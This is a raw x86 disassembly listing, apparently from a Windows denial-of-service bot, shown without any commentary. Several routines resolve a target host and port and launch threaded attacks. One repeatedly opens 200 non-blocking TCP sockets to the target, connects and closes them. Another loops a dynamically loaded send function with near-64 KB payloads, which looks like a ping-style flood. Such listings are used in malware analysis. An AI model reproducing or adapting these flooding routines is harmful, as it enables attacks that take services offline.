		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+100h+var_EC]
		mov	[ebp+54h], eax
		mov	[esp+100h+var_B4], 0FFFFFFFFh
		call	sub_13AB626
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_13AC3BE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_13AB7D4
		mov	ebp, [esp+104h+var_B0]


loc_13D0469:				; CODE XREF: sub_13CFFF0+31Cj
		lea	ecx, [ebx+32h]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13D0614
		push	95h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+108h+var_F8], eax
		test	eax, eax
		mov	[esp+108h+var_BC], 0Fh
		jz	short loc_13D04A9
		mov	ecx, eax
		call	sub_13ABB85
		mov	ebp, eax
		jmp	short loc_13D04AB
; ---------------------------------------------------------------------------


loc_13D04A9:				; CODE XREF: sub_13CFFF0+4ACj
		xor	ebp, ebp


loc_13D04AB:				; CODE XREF: sub_13CFFF0+4B7j
		push	offset dword_443600
		lea	eax, [esp+10Ch+var_F4]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+114h+var_BC], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_13ABAAE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	[esp+118h+var_C8], 10h
		call	sub_13AC3BE
		lea	ecx, [esp+118h+var_104]
		mov	[esp+118h+var_CC], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+11Ch+var_104]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+124h+var_D8], 11h
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+124h+var_110]
		mov	[ebp+5Ch], eax
		mov	[esp+124h+var_D8], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+128h+var_110]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+130h+var_E4], 12h
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+130h+var_11C]
		mov	[ebp+60h], eax
		mov	[esp+130h+var_E4], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	eax, [esp+134h+var_11C]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+13Ch+var_F0], 13h
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+13Ch+var_128]
		mov	[ebp+54h], eax
		mov	[esp+13Ch+var_F0], 0FFFFFFFFh
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+140h+var_110]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+148h+var_FC], 14h
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+148h+var_11C]
		mov	[ebp+58h], eax
		mov	[esp+148h+var_FC], 0FFFFFFFFh
		call	sub_13AB626
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_13AC3BE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_13AB7D4
		mov	ebp, [esp+14Ch+var_F8]


loc_13D0614:				; CODE XREF: sub_13CFFF0+48Bj
		lea	ecx, [ebx+0EAh]
		call	sub_13AB8D3
		push	eax
		mov	ecx, ebp
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13D0631
		mov	[ebx+11Ch], al


loc_13D0631:				; CODE XREF: sub_13CFFF0+639j
		mov	ecx, [esp+150h+var_10C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
sub_13CFFF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D07F0	proc near		; CODE XREF: sub_13ABE64j
		push	ecx
		mov	edx, ds:dword_447A54
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_13D0811
		inc	ecx
		mov	[eax+118h], ecx


loc_13D0811:				; CODE XREF: sub_13D07F0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_E2AAEB
		call	sub_13AB60D
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
sub_13D07F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0870	proc near		; CODE XREF: sub_13AB70Cj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B708h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC37D
		push	offset dword_444DAC
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E0DC
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D0870	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D08E0	proc near		; CODE XREF: sub_13AC37Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B754h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC26A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB824
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB824
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D08E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0980	proc near		; CODE XREF: sub_13AB8C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B7A4h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	dword_43E0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_13AB626
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB626
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB626
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB626
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_13AB626
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AC431
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D0980	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0A40	proc near		; CODE XREF: sub_13ABAD1j sub_13AC57Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB8C4
		test	[esp+4+arg_0], 1
		jz	short loc_13D0A58
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D0A58:				; CODE XREF: sub_13D0A40+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D0A40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0A70	proc near		; CODE XREF: sub_13AB5FEj sub_13AC481j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC490
		test	[esp+4+arg_0], 1
		jz	short loc_13D0A88
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D0A88:				; CODE XREF: sub_13D0A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D0A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D0AA0	proc near		; CODE XREF: sub_13AC490j
		jmp	sub_13AB8C4
sub_13D0AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0AC0	proc near		; CODE XREF: sub_13ABE41j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B7C8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		push	offset dword_444E14
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_13AB824
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_13AB8D3
		push	eax
		call	sub_13ABC2F
		add	esp, 10h
		test	eax, eax
		jz	short loc_13D0B84
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset dword_444DE8
		push	eax
		call	sub_13AB42D
		add	esp, 14h
		jmp	short loc_13D0B9E
; ---------------------------------------------------------------------------


loc_13D0B84:				; CODE XREF: sub_13D0AC0+9Aj
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset dword_444DB4
		push	ecx
		call	sub_13AB42D
		add	esp, 0Ch


loc_13D0B9E:				; CODE XREF: sub_13D0AC0+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13D0AC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0C40	proc near		; CODE XREF: sub_13AC27Ej

var_19		= byte ptr -19h
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	near ptr 13E0C60h
		push	esi
		push	edi
		push	offset dword_444E70
		call	LoadLibraryA	; LoadLibraryA
		mov	esi, eax
		test	esi, esi
		jz	short loc_13D0CAA
		mov	edi, GetProcAddress
		push	offset dword_444E5C
		push	esi
		call	edi ; GetProcAddress
		push	offset dword_444E48
		push	esi
		mov	ds:dword_102C2F8, eax
		call	edi ; GetProcAddress
		push	offset dword_444E38
		push	esi
		mov	ds:dword_102C2FC, eax
		call	edi ; GetProcAddress
		mov	ecx, ds:dword_102C2F8
		mov	ds:dword_102C2F4, eax
		test	ecx, ecx
		jz	short loc_13D0CAA
		mov	edx, ds:dword_102C2FC
		test	edx, edx
		jz	short loc_13D0CAA
		test	eax, eax
		jz	short loc_13D0CAA
		mov	al, [esp+24h+var_19]
		test	al, al
		jz	short loc_13D0CB5


loc_13D0CAA:				; CODE XREF: sub_13D0C40+1Bj
					; sub_13D0C40+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_13D0CB5:				; CODE XREF: sub_13D0C40+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_13D0CCC
		mov	[esp+24h+arg_FFE8], eax


loc_13D0CCC:				; CODE XREF: sub_13D0C40+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_13D0CDF
		mov	ebp, 1


loc_13D0CDF:				; CODE XREF: sub_13D0C40+98j
		call	ecx ; dword_102C2F8
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_13D0D24


loc_13D0CF0:				; CODE XREF: sub_13D0C40+E2j
		mov	al, ds:byte_E1A109
		test	al, al
		jz	short loc_13D0D24
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	ds:dword_102C2F4
		inc	esi
		cmp	esi, ebx
		jl	short loc_13D0CF0


loc_13D0D24:				; CODE XREF: sub_13D0C40+AEj
					; sub_13D0C40+B7j
		push	edi
		call	ds:dword_102C2FC
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_13D0C40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0D80	proc near		; CODE XREF: sub_13ABC2Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13ABC7F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_13AC27E
		add	esp, 14h
		retn
sub_13D0D80	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0DC0	proc near		; CODE XREF: sub_13ABFC7j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B7E8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC37D
		push	offset dword_444E7C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E0FC
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D0DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0E30	proc near		; CODE XREF: sub_13ABE19j sub_13ABEAFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABBFD
		test	[esp+4+arg_0], 1
		jz	short loc_13D0E48
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D0E48:				; CODE XREF: sub_13D0E30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D0E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D0E60	proc near		; CODE XREF: sub_13ABBFDj
		jmp	sub_13AB8C4
sub_13D0E60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D0E80	proc near		; CODE XREF: sub_13AB766j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B808h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_E299DF
		mov	[esp+2Ch+var_28], eax


loc_13D0EA6:				; CODE XREF: sub_13D0E80+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_13D0EB7
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_E2A33F
		jl	short loc_13D0EA6


loc_13D0EB7:				; CODE XREF: sub_13D0E80+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_13D1069
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:0E2996Bh[eax*8]
		call	sub_13ABBE4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	htons	; htons
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_13D0F20
		mov	dword ptr [ebp+68h], 5


loc_13D0F20:				; CODE XREF: sub_13D0E80+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_102C304
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		push	offset dword_444EC0
		mov	ecx, edi
		call	sub_13AB8D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		mov	ecx, [esp+44h+var_10]
		add	esp, 24h
		push	offset dword_102C504
		push	0
		push	ecx
		push	4012C1h
		push	0
		push	0
		call	CreateThread	; CreateThread
		test	eax, eax
		mov	ds:dword_102C508, eax
		jz	short loc_13D0FBB
		push	offset dword_446F84
		push	5
		push	eax
		push	0
		push	offset dword_102C304
		call	sub_13AB7E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_13D0FEB
; ---------------------------------------------------------------------------


loc_13D0FBB:				; CODE XREF: sub_13D0E80+11Dj
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		push	offset dword_444EA0
		mov	ecx, edi
		call	sub_13AB8D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h


loc_13D0FEB:				; CODE XREF: sub_13D0E80+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_13AB824
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_13ABBE4
		push	eax
		mov	ecx, esi
		call	sub_13ABBE4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset dword_444E84
		push	edx
		call	sub_13AB42D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_13ABBE4
		push	eax
		push	offset dword_4435F0
		mov	ecx, edi
		call	sub_13AB8D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		pop	edi
		pop	esi
		pop	ebp


loc_13D1069:				; CODE XREF: sub_13D0E80+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_13D0E80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1100	proc near		; CODE XREF: sub_13AB6C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:0E2996Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		call	htons	; htons
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	inet_addr	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D1196
		push	ebp
		call	gethostbyname	; gethostbyname
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_13D118F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	ds:dword_E1A385[eax*2],	edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_13D118F:				; CODE XREF: sub_13D1100+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_13D1196:				; CODE XREF: sub_13D1100+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_13D1246
		mov	ebx, socket


loc_13D11B5:				; CODE XREF: sub_13D1100+140j
		mov	al, ds:byte_E1A109
		test	al, al
		jz	loc_13D1246
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_13D11CB:				; CODE XREF: sub_13D1100+EFj
		push	0
		push	1
		push	2
		call	ebx ; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_13D11EB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	ioctlsocket	; ioctlsocket


loc_13D11EB:				; CODE XREF: sub_13D1100+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_13D11CB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_13D11FA:				; CODE XREF: sub_13D1100+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		call	connect	; connect
		add	esi, 4
		dec	edi
		jnz	short loc_13D11FA
		mov	ecx, [ebp+68h]
		push	ecx
		call	Sleep	; Sleep
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_13D1223:				; CODE XREF: sub_13D1100+130j
		mov	edx, [esi]
		push	edx
		call	closesocket	; closesocket
		add	esi, 4
		dec	edi
		jnz	short loc_13D1223
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_13D11B5


loc_13D1246:				; CODE XREF: sub_13D1100+A9j
					; sub_13D1100+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	ds:dword_E1A385[eax*2],	edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_13D1100	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D12D0	proc near		; CODE XREF: sub_13AC1D9j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B828h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC37D
		push	offset dword_444EDC
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E10C
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D12D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1340	proc near		; CODE XREF: sub_13ABADBj sub_13ABC1Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB4FF
		test	[esp+4+arg_0], 1
		jz	short loc_13D1358
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D1358:				; CODE XREF: sub_13D1340+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D1340	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D1370	proc near		; CODE XREF: sub_13AB4FFj
		jmp	sub_13AB8C4
sub_13D1370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1390	proc near		; CODE XREF: sub_13AC292j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B848h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		push	offset dword_444EFC
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_13AB824
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_13AB8D3
		push	eax
		call	sub_13AC1B6
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset dword_444EE0
		push	eax
		call	sub_13AB42D
		add	esp, 18h
		lea	ecx, [esp+34h+var_24]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
